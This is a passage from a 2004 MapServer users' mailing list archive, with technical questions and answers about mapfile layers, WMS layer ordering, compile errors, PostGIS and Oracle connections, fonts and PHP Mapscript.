>>>   END
>>>   LABELITEM "NAME"
>>>   CLASS
>>>     NAME "Streams"
>>>     COLOR 0 0 205
>>>     OUTLINECOLOR 199 199 199
>>>     SYMBOL 'circle'
>>>     SIZE 2
>>>     LABEL
>>>       ANGLE AUTO
>>>       COLOR  0 0 205
>>>       BACKGROUNDCOLOR 255 255 255
>>>       FONT fritqat-italic
>>>       TYPE truetype
>>>       SIZE 10
>>>       POSITION UC
>>>       PARTIALS FALSE
>>>       OFFSET 30 5
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:Streams"
>>>     "WMS_ABSTRACT" "Streams layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME Forests
>>>   TYPE POLYGON
>>> #  STATUS ON
>>>   STATUS DEFAULT
>>>   DATA Forests
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   TEMPLATE "forests.html"
>>>   CLASS
>>>     NAME "Forests"
>>>     COLOR 0 150 0
>>>     OUTLINECOLOR 0 0 0
>>>     MINSIZE 4
>>>     #SYMBOL "sapin"
>>>     SYMBOL "tree-gif"
>>>     SIZE 90
>>> #    OVERLAYSYMBOL "square"
>>> #    OVERLAYSIZE 50
>>> #    OVERLAYCOLOR -1 -1 -1
>>>     TEXT "State | Forest"
>>>     LABEL
>>>       ANGLE AUTO
>>>       COLOR  0 0 0
>>>       BACKGROUNDCOLOR 255 255 255
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 18
>>>       POSITION AUTO
>>>       PARTIALS FALSE
>>>       WRAP "|"
>>>       OFFSET 100 -60
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:Forests"
>>>     "WMS_ABSTRACT" "Forests layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME Bridges
>>>   TYPE POINT
>>>   STATUS ON
>>>   DATA Bridges
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   LABELITEM "NAME"
>>>   CLASS
>>>     NAME "Bridges"
>>>     COLOR 0 0 0
>>>     SYMBOL 'bridge'
>>>     SIZE 40
>>>     LABEL
>>>       ANGLE AUTO
>>>       COLOR  0 0 0
>>>       FONT fritqat-italic
>>>       TYPE truetype
>>>       SIZE 10
>>>       POSITION AUTO
>>>       PARTIALS FALSE
>>>       OFFSET 20 -8
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:Bridges"
>>>     "WMS_ABSTRACT" "Bridges layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME Lakes
>>>   TYPE POLYGON
>>>   STATUS ON
>>>   DATA Lakes
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   TEMPLATE "lakes.html"
>>>   CLASS
>>>     NAME "Lakes"
>>>     COLOR 0 0 205
>>>     SIZE 8
>>>     TEXT "BLUE | LAKE"
>>>     LABEL
>>>       ANGLE AUTO
>>>       COLOR  255 255 255
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 9
>>>       POSITION LL
>>>       PARTIALS FALSE
>>>       WRAP "|"
>>>       OFFSET 15 -10
>>>       FORCE true
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:Lakes"
>>>     "WMS_ABSTRACT" "Lakes layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME Buildings
>>>   TYPE POLYGON
>>>   STATUS ON
>>>   DATA Buildings
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   TEMPLATE "buildings.html"
>>>   CLASS
>>>     NAME "Buildings"
>>>     COLOR 255 255 255
>>>     OUTLINECOLOR 0 0 0
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:Buildings"
>>>     "WMS_ABSTRACT" "Buildings layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME BuildingCenters
>>>   TYPE POINT
>>>   STATUS ON
>>>   DATA BuildingCenters
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   CLASS
>>>     NAME "BuildingCenters"
>>>     COLOR 0 0 0
>>>     SYMBOL 'circle'
>>>     SIZE 4
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:BuildingCenters"
>>>     "WMS_ABSTRACT" "BuildingCenters layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> END # Map File
>>>
>>>
>>> nicolas.fortin at ec.gc.ca wrote:
>>>
>>>> Hi Heryk,
>>>>
>>>> Only the layer 1 is set to default, all other are set to OFF.  I
>>>> thought that doesn't matter in WMS cause you only got the layers you
>>>> are querying.
>>>>
>>>> I set layer 1 to ON and
>>>> 1- try LAYERS=2,1 and only got layer 2
>>>> 2- try LAYERS=1 and got nothing
>>>>
>>>> I set layer 1 to OFF (like the others) and
>>>> 1- try LAYERS=2,1 and only got layer 2
>>>> 2- try LAYERS=1 and got nothing
>>>>
>>>> Weird...
>>>> Nick
>>>>
>>>> -----Message d'origine-----
>>>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>> Envoy? : Monday, January 12, 2004 4:00 PM
>>>> ? : 'nicolas.fortin at ec.gc.ca'
>>>> Objet : RE: [Mapserver-users] WMS LAYERS=
>>>>
>>>>
>>>> Hi,
>>>> Are your layers set to "default" in the mapfile? Is so, you will be
>>>> calling layers 1,2 and all the layers that are set to default! So
>>>> your might be calling layers 1 and 2 a second time around! Try
>>>> setting them to "ON".
>>>>
>>>> Bonne chance!
>>>> H?ryk
>>>>
>>>>
>>>> -----Message d'origine-----
>>>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy?
>>>> : Monday, January 12, 2004 3:30 PM ? :
>>>> mapserver-users at lists.gis.umn.edu Objet
>>>> : [Mapserver-users] WMS LAYERS=
>>>>
>>>>
>>>> Hi list,
>>>>
>>>> When I make a WMS request with the layers parameters like LAYERS=2,1
>>>>
>>>> In accordance to the OGC WMS Spec, layer 1 is suppose to be at the
>>>> top of layer 2 but it isn't the case...why??
>>>>
>>>> Even if I change to LAYERS=1,2 ... no change
>>>>
>>>> In the mapfile, layer 1 is at the end of the file and is always the
>>>> top layer on others applications using this mapfile.
>>>>
>>>>
>>>> Thx for your help,
>>>>
>>>> Nicolas Fortin
>>>> Math?maticien, Programmeur, Analyste de donn?es
>>>> SMC-Qu?bec Hydrologie, Environnement Canada
>>>> 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5
>>>> (418)648-2516
>>>> nicolas.fortin at ec.gc.ca 
>>>>
>>>> _______________________________________________
>>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>
>>>> _______________________________________________
>>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>
>>>>
>>>>
>>>
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> _______________________________________________
>>> Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>
>>
>>
>
>
>



-- 
  


From niko at isl.net.mx  Thu Jan 15 12:22:02 2004
From: niko at isl.net.mx (Nikolai Vladychevski)
Date: Thu, 15 Jan 2004 20:22:02 GMT
Subject: [Mapserver-users] DBox question
Message-ID: <20040115202202.3301.qmail@quazartecnologia.com>

Im sorry, a confused a little bit in the previous post, my question is about 
Dbox, not Jbox. 

I am trying to adapt DBox to do not use frames , neither Mapserv object, I 
need it only for plain zoom box, no more. I achieved it , minimizing the 
code, but strange thing happends, I have the [img] input in the form and 
when the user clicks on it, the img.x and img.y coordinates have values=0 
when they are sent to the mapserv CGI. If I get [img] input tag out of the 
anchor, the img.x and img.y values are sent correctly, the coordinates when 
user made click. Does anybody knows where in the code this img.x and img.y 
values are altered? I was looking but can't find it, would it be in CBE 
code? 

This is the fragment of my html code:








 

if I take out the  out of the 
 , 
even into a different 
 tag, the .x and .y coordinates are passed to 
CGI, but this way they are not.
I create the dbox with the initalize funtion:
var img=new dBox("img",600,600,"#FF0000",2);
function windowOnload() {
   img.initialize();
}
so I guess somewhere in dbox or cbe are a procedure that resets img.x and 
img.y variables to 0 values ... 

Thanks in advance
Nikolai


From rjames57 at yahoo.com  Thu Jan 15 14:44:20 2004
From: rjames57 at yahoo.com (Randy James)
Date: Thu, 15 Jan 2004 14:44:20 -0800 (PST)
Subject: [Mapserver-users] compile error
Message-ID: <20040115224420.23899.qmail@web12501.mail.yahoo.com>

Hi 

I was trying to compile the nightly for 1/15/04 and was
getting the error:

In file included from mapogr.cpp:123:
map.h:1319: parse error before 'int'
map.h:1320: parse error before 'int'

So I checked the map.h and guessed that maybe it should be
layer rather than class because the rest in the section
were layer. good guess or bad guess? well the compile
worked anyway.

i changed this

int msMoveStyleUp(classObj *style, int nStyleIndex);
int msMoveStyledown(classObj *style, int nStyleIndex);

To:

int msMoveStyleUp(classObj *layer, int nStyleIndex);
int msMoveStyledown(classObj *layer, int nStyleIndex);

I have a tiny bit of C programming experience, enough to
know i do not know what i am doing anyway so, tell me what
i did. ha ha

Randy








__________________________________
Do you Yahoo!?
Yahoo! Hotjobs: Enter the "Signing Bonus" Sweepstakes
http://hotjobs.sweepstakes.yahoo.com/signingbonus


From assefa at dmsolutions.ca  Thu Jan 15 15:19:58 2004
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Thu, 15 Jan 2004 18:19:58 -0500
Subject: [Mapserver-users] compile error
In-Reply-To: <20040115224420.23899.qmail@web12501.mail.yahoo.com>
References: <20040115224420.23899.qmail@web12501.mail.yahoo.com>
Message-ID: <4007201E.50900@dmsolutions.ca>

There is a new version of map.h in CVS that you can get. The problem 
seems to be the use of class which is a reserved word on some compilers. 
  If you do not have access, just the change the class by classobj (or 
other non reserved name)

int msMoveStyleUp(classObj *class, int nStyleIndex);
int msMoveStyleDown(classObj *class, int nStyleIndex);

	
Later,

Randy James wrote:

> Hi 
> 
> I was trying to compile the nightly for 1/15/04 and was
> getting the error:
> 
> In file included from mapogr.cpp:123:
> map.h:1319: parse error before 'int'
> map.h:1320: parse error before 'int'
> 
> So I checked the map.h and guessed that maybe it should be
> layer rather than class because the rest in the section
> were layer. good guess or bad guess? well the compile
> worked anyway.
> 
> i changed this
> 
> int msMoveStyleUp(classObj *style, int nStyleIndex);
> int msMoveStyledown(classObj *style, int nStyleIndex);
> 
> To:
> 
> int msMoveStyleUp(classObj *layer, int nStyleIndex);
> int msMoveStyledown(classObj *layer, int nStyleIndex);
> 
> I have a tiny bit of C programming experience, enough to
> know i do not know what i am doing anyway so, tell me what
> i did. ha ha
> 
> Randy
> 
> 
> 
> 
> 
> 
> 
> 
> __________________________________
> Do you Yahoo!?
> Yahoo! Hotjobs: Enter the "Signing Bonus" Sweepstakes
> http://hotjobs.sweepstakes.yahoo.com/signingbonus
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 


-- 
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst

Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/

Phone: (613) 565-5056 (ext 14)
Fax:   (613) 565-0925
----------------------------------------------------------------





From mschulz at webgis.de  Thu Jan 15 23:43:18 2004
From: mschulz at webgis.de (Michael Schulz)
Date: Fri, 16 Jan 2004 08:43:18 +0100
Subject: [Mapserver-users] ZMapServer application online
In-Reply-To: 
References: 
Message-ID: <40079616.4060901@webgis.de>

Tyler Mitchell schrieb:

> Thanks for the announcement, I want to get ZMapServer going now, you've
> inspired me :)
> I just signed up to the list, but my next task will be to track down
> python-mapscript for windows 2000.  Any pointers?  I can't seem to dig
> through the mailing list archive as it says it hasn't been archived yet.
> 
> Tyler

Hi Tyler,

there is mapserver wiki page, where i started to put some information on 
python-mapscript for windows, also a python mapscript windows binary is 
available.

See:
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PythonMapScriptWindowsBinary

Cheers, Michael


> 
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/15/2004 08:23:30 AM:
> 
> 
>>Dear List,
>>
>>we are happy to announce our first publicly available ZMapServer
>>demonstration application.  The original app was developed for the
>>geological survey of Hamburg, first for intranet use later on for
>>internet use.
>>
>>It runs with ZMapServer 0.7.5, Zope 2.6.1, MapServer 4.0.1, Python
>>2.1.3, MySQL, PIL (on-the-fly graphics), ReportLab Toolkit (on-the-fly
>>pdf's) on Linux (original application in Hamburg runs on MS-Windows 2K
>>and Oracle instead of MySQL).
>>
>>Find it here: http://www.zopecms.de/bohrdatenportal
>>
>>Although this application only has a subset of the original data, it
>>features most of the client functionality.
>>
>>We are looking forward to your questions, suggestions and comments.
>>
>>Cheers, Michael
>>
>>P.S.: Thanks to Sean Gillies, who developed ZMapServer and patiently
>>answers our python-mapscript questions ;-)
>>
>>--
>>-----------------------------------------------------------
>>Michael Schulz                                in medias res
>>Dipl.-Geologe                              Gesellschaft f?r
>>                                 Informationstechnologie mbH
>>                                      In den Weihermatten 66
>>                                   79108 Freiburg
>>                                      0761 55695-95 (Fax 96)
>>mschulz at webgis.de              www.webgis.de/www.zopecms.de
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 
> 

-- 
-----------------------------------------------------------
Michael Schulz                                in medias res
Dipl.-Geologe                              Gesellschaft f?r
                                 Informationstechnologie mbH
                                      In den Weihermatten 66
		                             79108 Freiburg
                                      0761 55695-95 (Fax 96)
mschulz at webgis.de              www.webgis.de/www.zopecms.de



From opengis at libero.it  Thu Jan 15 23:59:50 2004
From: opengis at libero.it (opengis_libero)
Date: Fri, 16 Jan 2004 08:59:50 +0100
Subject: [Mapserver-users] Projection trouble
In-Reply-To: 
References: 
Message-ID: <400799F6.9020600@libero.it>

David

>On first glance, it looks to me like you may have an issue with your
>units.  The numbers in EXTENT look like meters for a UTM projection, but
>in UNITS you have listed decimal degrees.  I haven't played with
>projections much, so I can't go much beyond that.  
>  
>
Thanks, it's right!
Now work.

Regards

PS.
I think there are any latency on e-mail delivery: I received your 
message only this mornig (Italian time)



From Ballini.Yvain at seat.it  Fri Jan 16 01:02:09 2004
From: Ballini.Yvain at seat.it (Ballini Yvain)
Date: Fri, 16 Jan 2004 10:02:09 +0100
Subject: [Mapserver-users] Pb with some ttf in mapserver
Message-ID: <4B1A1EC0790F054193453C48725D43180B8D04@MSGBE1V1.seat.it>

 
Hi List,

Some truetype fonts don't seem to work very well in mapserver (or more
probably I don't use them correctly !), I mean Wingdings, Webdings  and
other MapInfo ttf font symbols. If I use them in mapserver for my label,
it displays a rectangle, while their installation seems to be ok (in
Word, I can use them correctly without any problem like all the "normal"
ttf fonts). Does anyone know why ?
Thanks.
Yvain.
 




From david at itbeyond.com.au  Fri Jan 16 01:44:46 2004
From: david at itbeyond.com.au (David Martin)
Date: Fri, 16 Jan 2004 17:44:46 +0800
Subject: [Mapserver-users] Using CGI to adjust REFERENCE image size
Message-ID: <45CB0C3935C944488AC3650E3C53D17F09BF9E@itbeyond01.itbeyond-int.com.au>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3DC15.60109210
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hi all,
=20
I have been reading the CGI reference and the docs indicate that you can
change most paramters of the map file from the command line. My question
can you change the SIZE & IMAGE of the reference map from the command
line.
=20
I have an app and I want to build a thumbnail of the reference at a
smaller size - I do not really want to build a new map file if I can
avoid it. So I need to pass the SIZE and the IMAGE to the CGI - I have
tried various options but cannot seem to get it sorted I tried this:
=20
&reference_size=3D100+100&reference_image=3Dd:\image\ref100.png
=20
However it did not change. Can this be done? What are the variables?
=20
Regards
David Martin
DIRECTOR
I.T. Beyond Pty Ltd
Postal:	 PO BOX 967
HILLARYS WA 6923=09
Ph:	 (08) 9403 3737 =09
Mobile:	 0417 677 275 =09
Fax:	 (08) 9403 3738=09
=20
  _____ =20


Check out our websites: www.ExplorOz.com   and
www.itbeyond.com.au =20

=20

------_=_NextPart_001_01C3DC15.60109210
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable


Message




Hi=20
all,


 


I have =
been reading=20
the CGI reference and the docs indicate that you can change most =
paramters of=20
the map file from the command line. My question can you change the =
SIZE=20
& IMAGE of the reference map from the command =
line.


 


I have =
an app and I=20
want to build a thumbnail of the reference at a smaller size - I do not =
really=20
want to build a new map file if I can avoid it. So I need to pass the =
SIZE and=20
the IMAGE to the CGI - I have tried various options but cannot seem to =
get it=20
sorted I tried this:


 


&reference_size=3D100+100&reference_image=3Dd:\image\ref=
100.png


 


However it did not=20
change. Can this be done? What are the variables?


 




Regards


David =
Martin


DIRECTOR


I.T. Beyond Pty =
Ltd







  
  

    Postal:
    PO BOX =
967
HILLARYS=20
      WA 6923

  

    Ph:
    (08) 9403 =
3737=20
  

  

    Mobile:
    0417 677 =
275=20
  

  

    Fax:
    (08) 9403=20
  3738




 







Check out our websites: =
www.ExplorOz.com and www.itbeyond.com.au


 

=00
------_=_NextPart_001_01C3DC15.60109210--


From james at xenomorphic.com  Fri Jan 16 02:55:54 2004
From: james at xenomorphic.com (James Bjerkholt)
Date: Fri, 16 Jan 2004 11:55:54 +0100
Subject: [Mapserver-users] flash output and image folder
Message-ID: <8E9B130A-4812-11D8-B968-00039345EC8A@xenomorphic.com>

--Apple-Mail-6--693409456
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=ISO-8859-1;
	format=flowed

Hi,

I am a newbie trying to accomplish the same thing as you:

> finally, i have been trying to set the imagetype to swf.=A0 mapserver=20=

> creates the swf files but without the labels.=A0 i am using truetype=20=

> fonts and fy fontfile looks correct to me.

Have you specified the "OUTPUTFORMAT" object in the .map file to ".swf"=20=

in addition to setting "IMAGETYPE swf"? You may also have to use a=20
different font format than TrueType. See end of this page:=20
http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html

> the swf files get created in the map_web_imagepath folder, but are not=20=

> displayed.

If you are trying to access each single map layer independently as=20
source for an embedded flash on your webpage, and this does not work,=20
then I don't know what is wrong. But if you are simply accessing the=20
"main" generated swf-file in your browser, it will display nothing,=20
because that file only contains information about the other swf-files=20
(.map layers). You will need to make a flash file which dynamically=20
loads each map-layer.swf into an empty movie clip in flash after=20
loading the "main" swf.file (which contains information about the paths=20=

to the other flashfiles among other things)

> i haven't had anyluck setting my map_web_imagepath to anything except=20=

> a hardcoded path like c:inetpub... etc.
> =A0
> is there a trick to using relative paths?

I have also attempted using relative paths - without success. I am also=20=

confused as to what the path should be relative to: the document-root=20
on the webserver? the .mapfile? (seeing as tutorials and other examples=20=

seem to vary) If anyone can share any insight on this it would be much=20=

appreciated.

James


On 9. jan. 2004, at 00.32, jon martin wrote:

> hello,
> =A0
> a couple of newbie questions.
> =A0

--Apple-Mail-6--693409456
Content-Transfer-Encoding: quoted-printable
Content-Type: text/enriched;
	charset=ISO-8859-1

Hi,


I am a newbie trying to accomplish the same thing as you:


Arialfinally, i have been
trying to set the imagetype to swf.=A0 mapserver creates the swf files
but without the labels.=A0 i am using truetype fonts and fy fontfile
looks correct to me.



Have you specified the "OUTPUTFORMAT" object in the .map file to
".swf" in addition to setting "IMAGETYPE swf"? You may also have to
use a different font format than TrueType. See end of this page:
http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html


Arialthe swf files get
created in the map_web_imagepath folder, but are not =
displayed.



If you are trying to access each single map layer independently as
source for an embedded flash on your webpage, and this does not work,
then I don't know what is wrong. But if you are simply accessing the
"main" generated swf-file in your browser, it will display nothing,
because that file only contains information about the other swf-files
(.map layers). You will need to make a flash file which dynamically
loads each map-layer.swf into an empty movie clip in flash after
loading the "main" swf.file (which contains information about the
paths to the other flashfiles among other things)


Ariali haven't had
anyluck setting my map_web_imagepath to anything except a hardcoded
path like c:inetpub... etc.

=A0

Arialis there a trick to using
relative paths?



I have also attempted using relative paths - without success. I am
also confused as to what the path should be relative to: the
document-root on the webserver? the .mapfile? (seeing as tutorials and
other examples seem to vary) If anyone can share any insight on this
it would be much appreciated.


James



On 9. jan. 2004, at 00.32, jon martin wrote:


=
Arialhello,

=A0

Ariala couple of newbie =
questions.

=A0

=

--Apple-Mail-6--693409456--



From m.cave-ayland at webbased.co.uk  Fri Jan 16 03:24:35 2004
From: m.cave-ayland at webbased.co.uk (Mark Cave-Ayland)
Date: Fri, 16 Jan 2004 11:24:35 -0000
Subject: [Mapserver-users] Error when querying PostGIS layer
In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE512AF1D@openmanage>
Message-ID: <8F4A22E017460A458DB7BBAB65CA6AE512D0ED@openmanage>

Hi Dylan,

Sometimes working with PostGIS/Mapserver I find that error messages
don't always make it through to Mapserver. A good trick is to copy the
query from the select without the cursor declaration, paste it into a
psql session, and you should then see the exact error message being
generated by PostgreSQL.


For example, in your case, type the following in psql and see if it
gives a more verbose error message:

SELECT nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
,OID::text 
from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
577205)'::BOX3D, find_srid('','quad24k','the_geom') )



Cheers,

Mark.


---

Mark Cave-Ayland
Webbased Ltd.
Tamar Science Park
Derriford
Plymouth
PL6 8BX
England

Tel: +44 (0)1752 764445
Fax: +44 (0)1752 764446


This email and any attachments are confidential to the intended
recipient and may also be privileged. If you are not the intended
recipient please delete it from your system and notify the sender. You
should not copy it or use it for any purpose nor disclose or distribute
its contents to any other person.


> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Dylan Keon
> Sent: 15 January 2004 20:01
> To: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Error when querying PostGIS layer
> 
> 
> I'd be really grateful if some of you postgis/postgres gurus 
> could give 
> me a hand with this (see question below) - it's got me 
> stumped.  Jason 
> Nielsen posted a similar question a little while ago.
> 
> I've already tried GRANT SELECT ON quad24k TO PUBLIC; and 
> verified that 
> the asbinary SELECT statement following 'DECLARE mycursor 
> BINARY CURSOR 
> FOR' works in psql.
> 
> TIA for any help.  I pasted some more info at the bottom of 
> the message.
> 
> --Dylan
> 
> 
> Dylan Keon wrote:
> > I'm having trouble querying a PostGIS layer via PHP Mapscript.  The
> > layer renders fine in the app and labels get generated, 
> etc.  But I get 
> > an error when trying to query the layer.  It fails when it reaches 
> > getShape() - if I comment out that line everything else 
> works.  Also, if 
> > I run this code on a shapefile version of the same layer it 
> works fine.
> > 
> > I'm using MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.  Thanks 
> > for
> > any help.
> > 
> > --Dylan
> > 
> > 
> ----------------------------------------------------------------------
> > 
> >  From the apache error log:
> > 
> > PHP Warning:  [MapServer Error]: msDrawMap(): Failed to draw layer 
> > named 'quad_index_24k'.  in /opt/httpd/htdocs/test.php on line 132
> > PHP Warning:  [MapServer Error]: prep_DB(): Error executing POSTGIS
> > DECLARE (the actual query) statement: 'DECLARE mycursor 
> BINARY CURSOR 
> > FOR SELECT 
> > 
> nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
> ,OID::text 
> > from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
> > 577205)'::BOX3D, find_srid('','quad24k','the_geom') )' 


> > 
> > Postgresql reports the error ''


> > 
> > More Help:


> > 
> > Error with POSTGIS data variable. You specified '<check your .map
> > file>'.

> > Standard ways of specifiying are : 

> > (1) 'geometry_column from geometry_table' 

> > (2) 'geometry_column from (<sub query>) as foo using unique 
> > <column name> using SRID=<srid#>' 


> > 
> > Make sure you put in the 'using unique  <column name>' and 
> > 'using SRID=#' clauses in.
> > 
> > 

For more help, please see 
> > http://postgis.refractions.net/documentation.php
> > 
> > 

Mappostgis.c - version of June 12/2003.
> > 
> > in /opt/httpd/htdocs/test.php on line 132
> > PHP Fatal error:  Call to a member function on a non-object in
> > /opt/httpd/htdocs/test.php on line 133
> > 
> > 




From Patricia.Witte at isb-mz.de  Fri Jan 16 04:01:53 2004
From: Patricia.Witte at isb-mz.de (Patricia Witte)
Date: Fri, 16 Jan 2004 13:01:53 +0100
Subject: [Mapserver-users] connection in mapfile to Oracle spatial is not used
Message-ID: <4007D2B1.CA2EBAA1@isb-mz.de>

Hi,
I have successfully run MapServer under IIS 5.0 with some shapefile.
With a spatial layer i get the error: msDrawMap(): unable to draw layer.

With some onlog-trigger in my database I've shown
that the connection in the mapfile is not used, there is no logon
performed.
I have tried everything I've found in the archive (oci.dll, path,
ORACLE_HOME).
Connect through sqlplus is possible.
Has anyone solved this before?
Thanks,
Patricia




From hrz at geodata.soton.ac.uk  Fri Jan 16 04:47:36 2004
From: hrz at geodata.soton.ac.uk (Homme Zwaagstra)
Date: Fri, 16 Jan 2004 12:47:36 +0000 (GMT)
Subject: [Mapserver-users] Change layerobj's data property
Message-ID: <200401161247.i0GClaJ22648@betsy.geodata.soton.ac.uk>

Hello,

I have a problem with mapserver 3.5 (a fuzzy memory to many of you, I
know!) that I'm hoping someone will be able to shed some light
on. I have a raster layer with a default data property that extends
the SHAPEPATH:

LAYER
  NAME nhs_direct
  TYPE RASTER
  STATUS ON
  DATA nhs_direct_live/6-11-2003_2.tiff
  OFFSITE 0
  PROJECTION
          "proj=tmerc"
          "lat_0=49.000000000"
          "lon_0=-2.000000000"
          "k=0.999601"
          "y_0=-100000.000"
          "x_0=400000.000"
          "ellps=airy"
          "towgs84=375,-111,431,0,0,0,0"
          "units=m"
  END
END

I have many hundreds of rasters representing the same area but for
different temporal windows. Using PHP Mapscript I'm wanting to change
the data property, based on user date selection, to display the
correct raster. Something like this:

$layerObj = $mapObj->getlayerByName('nhs_direct');
$layerObj->data = 'nhs_direct_live/7-01-2002_2.tiff'

This doesn't seem to have any effect, however, and the original file
that DATA points to is always displayed.

System Details:
MapServer version 3.5 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
SUPPORTS=TTF SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=TIFF
INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL
INPUT=SHAPEFILE
PHP Version 4.0.6
Apache/1.3.27 
gcc version 2.96 20000731 (Red Hat Linux 7.2 2.96-112.7.1)

Can anyone think of a solution? Is it time to bite the bullet and
upgrade?!

Regards,

Homme Zwaagstra

-- 


From nicolas.fortin at ec.gc.ca  Fri Jan 16 05:47:17 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Fri, 16 Jan 2004 08:47:17 -0500
Subject: [Mapserver-users] connection in mapfile to Oracle spatial is
 not used
Message-ID: 

Hi Patricia,

Could you show us the mapfile code for your Oracle layer.
Do you have the win binary compiled for Oracle?

Nick


-----Message d'origine-----
De : Patricia Witte [mailto:Patricia.Witte at isb-mz.de] 
Envoy? : Friday, January 16, 2004 7:02 AM
? : mapserver-users at lists.gis.umn.edu
Objet : [Mapserver-users] connection in mapfile to Oracle spatial is not
used


Hi,
I have successfully run MapServer under IIS 5.0 with some shapefile. With a
spatial layer i get the error: msDrawMap(): unable to draw layer.

With some onlog-trigger in my database I've shown
that the connection in the mapfile is not used, there is no logon performed.
I have tried everything I've found in the archive (oci.dll, path,
ORACLE_HOME). Connect through sqlplus is possible. Has anyone solved this
before? Thanks, Patricia


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From eric at gomoos.org  Fri Jan 16 06:26:48 2004
From: eric at gomoos.org (Eric Bridger)
Date: 16 Jan 2004 09:26:48 -0500
Subject: [Mapserver-users] Change layerobj's data property
In-Reply-To: <200401161247.i0GClaJ22648@betsy.geodata.soton.ac.uk>
References: <200401161247.i0GClaJ22648@betsy.geodata.soton.ac.uk>
Message-ID: <1074263213.1548.4.camel@ubet.gomoos.org>

I use this method with Mapserver/mapscript 3.6.6 with no problems.
But I don't rely on mapscript to use the SHAPEPATH, I always use the
full path for the layer->data member.  Try that.  You should be able to 
retrieve the SHAPEPATH from the map object $map->shapepath.

Eric


On Fri, 2004-01-16 at 07:47, Homme Zwaagstra wrote:
> Hello,
> 
> I have a problem with mapserver 3.5 (a fuzzy memory to many of you, I
> know!) that I'm hoping someone will be able to shed some light
> on. I have a raster layer with a default data property that extends
> the SHAPEPATH:
> 
> LAYER
>   NAME nhs_direct
>   TYPE RASTER
>   STATUS ON
>   DATA nhs_direct_live/6-11-2003_2.tiff
>   OFFSITE 0
>   PROJECTION
>           "proj=tmerc"
>           "lat_0=49.000000000"
>           "lon_0=-2.000000000"
>           "k=0.999601"
>           "y_0=-100000.000"
>           "x_0=400000.000"
>           "ellps=airy"
>           "towgs84=375,-111,431,0,0,0,0"
>           "units=m"
>   END
> END
> 
> I have many hundreds of rasters representing the same area but for
> different temporal windows. Using PHP Mapscript I'm wanting to change
> the data property, based on user date selection, to display the
> correct raster. Something like this:
> 
